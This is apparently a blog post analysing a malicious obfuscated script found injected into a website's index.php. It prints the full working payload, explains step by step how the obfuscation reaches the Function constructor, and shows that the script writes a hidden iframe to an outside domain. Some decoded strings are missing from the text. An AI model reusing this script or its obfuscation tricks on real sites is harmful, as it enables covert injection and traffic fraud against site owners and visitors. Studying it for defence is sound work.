This script appeared in the index.php page of a website I help with:
<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>
The only thing it seems to do is return an error when you try to open the page. I just removed it and everything works fine again, but we have no idea how it got there, and if it was supposed to actually do something possibly harmful. The website is hosted on aruba and both of the people who have access to the code haven’t worked on this page at all lately.
So now it’s a puzzle.
Pretty printing the code, it has 4 stages:
The $ declaration is, like everything here, a bit odd:
In a Chrome console, this returns -1; evaluated in a numerical context, [] becomes 0, and ~ (the bitwise NOT operator in javascript) on 0 yields -1. So we have a variable assigned to -1. Unobfuscate!
Then a dictionary is constructed, with an unobfuscation:
So we have a dictionary with some values in it from 0 to 9, and the letters a to f. Anyone smell hex? The method to get the letters is to pick out substrings from predictable js-generated strings; a falsy value plus “” gives “false”, for “a”, “e” and “f”.
{}+""gives[object Object], for b and c, andundefinedyields the d.Next it constructs the $_ (we’ll call it alpha) element of the dictionary (
$.$_) as a concatenation of aseries of strings (unobf names as defined so far, plus
_$becomes beta,$$gamma,__delta,$epsilon,_phi):So all of this sets dct.alpha (
$.$_) to “constructor”. Ominous. Similar setup for$.$$(which we’re calling gamma), which sets it to “return”. The clouds thicken.Another reassignment, this time for
$.$(our dct.epsilon), sets it toThis is more than just an array lookup.
dct.zerois 0, so (0)[“constructor”] is looking up the“constructor” property of 0. Remember that in javascript a[“b”] is the same as
a.b, so
(0)["constructor"]["constructor"]is0.constructor.constructor. The constructor of 0 is the Number function, and the constructor of theNumber function is the Function function. This function (pointer) is then assigned to dct.epsilon.
The worm has turned.
The final statement is a nested function call to
$.$$:The long concatenation will be passed to the function constructor and then immediately executed.
The returned function from this function will also then be immediately executed.
In effect, everything we’ve seen so far is scaffolding. Almost any function could be constructed this
way, although we have an idea of the letters that will be used. I would hazard a guess that the above
is a generic obfuscation that can hold whatever payload is desired.
The string that is constructed character-by-characeter is:
So we can see that there are escaped sequences there. In fact, the return
tells us that the whole docu… string will be helpfully unescaped and then returned wholesale, ready for the
outer call to call it.
So the outer call will recieve this now unescaped string (formatting and splitting the string for readability):
document.write(
” +
”+
‘Counter’+
”+
”
);
Where I’ve put ‘HEXYHEXY’ instead of the hex string that was there – it would presumaby link your
site or perhaps the virus author to this page, which we don’t really want. The domain in the iframe
src might be connected to the virus author, or it might be just another compromised page; a worm
could presumably use one host to direct another via this virus as an intermediary. My guess is that
it just drives fake page impressions – every time your page is hit, so is the target page, but no-one sees
the advert etc because of the hidden div container. The ‘Counter’ bit is just an attempt to hide
the secret in plain sight; if you looked at the browser’s representation of the page, all you see is
an innocent-looking Counter iframe.
Some javascript tricks to avoid
The virus author has a few tricks here to evade simple methods of finding such scripts:
\155becomes ‘m’, so the letter is never in a plain string.eval(![]+"")[3] = "false"[3] = "s"to pick out individual characters without putting them in plain strings$and_in the name to confuse a human reader(a=b)returns the value of a, so(a=b)[3] returns a substring on the value of the assignment, whilst also making the assignmenta = {(a=3):"b",++a:"c"}All of these are things that are a very bad idea in normal code, for the very reason they are here: they make the code hard to read or understand.